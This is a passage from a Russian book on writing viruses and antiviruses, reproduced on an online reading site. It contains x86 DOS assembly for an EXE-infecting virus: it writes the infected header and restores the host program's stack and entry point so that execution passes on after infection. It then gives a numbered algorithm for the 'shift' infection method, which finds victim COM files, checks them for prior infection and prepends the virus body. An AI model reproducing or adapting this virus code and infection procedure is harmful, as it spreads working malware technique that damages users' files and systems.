Создаем вирус и антивирус. Игорь Гульев

Чтение книги онлайн.

Читать онлайн книгу Создаем вирус и антивирус - Игорь Гульев страница 15

Создаем вирус и антивирус - Игорь Гульев

Скачать книгу

21h

      ;Запишем заголовок в файл

      mov cx,0018h

      mov ah,40h

      mov dx,si

      int 21h

      Итак, вирус «поселился» в EXE-файле. А как после окончания работы вируса передать управление инфицированной программе? Вот процедура выхода из вируса:

      CureEXE:

      StackBack:

      ;Установим первоначальный указатель (сегмент и смещение) стека

      mov ax,ds

      ;Прибавим 0010h, после чего в AX будет

      ;находится сегмент, с которого

      ;загружен программный модуль

      add ax,10h

      ;Прибавим первоначальный сегмент стека

      db @add_ax ;код ADD AX, дальше по аналогии

      OldSS dw ? ;это значение было установлено

      ;при заражении

      ;Запретим прерывания, так как со стеком нельзя работать,

      ;пока и сегмент, и смещение не установлены в нужное значение

      cli

      ;Установим сегмент стека (PSP+10h+OldSS)

      mov ss,ax

      ;Установим первоначальный указатель (смещение) стека

      db @mov_sp

      OldSP dw ?

      ;Разрешим прерывания – опасный участок пройден

      sti

      ;Подготовим значения в стеке для команды IRET

      RetEntryPoint:

      pushf

      ;Рассчитаем сегмент для кода по аналогии с сегментом стека

      mov ax,DATASEG

      add ax,10h

      db @add_ax

      OldCS dw ?

      ;Сохраним в стеке полученное значение (PSP+10h+OldCS)

      push ax

      ;Сохраним в стеке смещение исходной точки входа

      db @mov_ax

      OldIP dw ?

      push ax

      ;Запустим программу. В стеке находятся смещение

      ;точки входа, сегмент точки входа и флаги

      iret

      Внедрение способом сдвига

      Инфицируемая программа размещается в файле после кода вируса, сдвигаясь на его длину, отсюда и название метода. Алгоритм работы вируса следующий:

      1. Открыть файл, из которого получено управление.

      2. Считать в буфер тело вируса.

      3. Закрыть файл.

      4. Найти файл-жертву (для данного типа вирусов лучше COM-файл, но можно и не слишком большой EXE – это связано с тем, что все тело инфицируемой программы считывается в память и ее может не хватить, если эта программа слишком большая).

      5. Открыть файл-жертву.

      6. Проверить файл на повторное заражение (здесь могут быть варианты, но чаще всего используется сигнатура).

      7. Если файл уже инфицирован, перейти к пункту 3.

      8. Считать в буфер все тело программы.

      9. Записать в начало файла тело вируса из буфера.

      10. Дописать в файл после тела вируса тело программы из буфера. Длина программы увеличивается на длину вируса.

      11. Закрыть файл-жертву.

      12. Открыть файл, из которого стартовали.

      13. Считать в буфер тело инфицированной программы, расположенное в файле после тела вируса.

      14. Создать на диске временный файл с расширением

Скачать книгу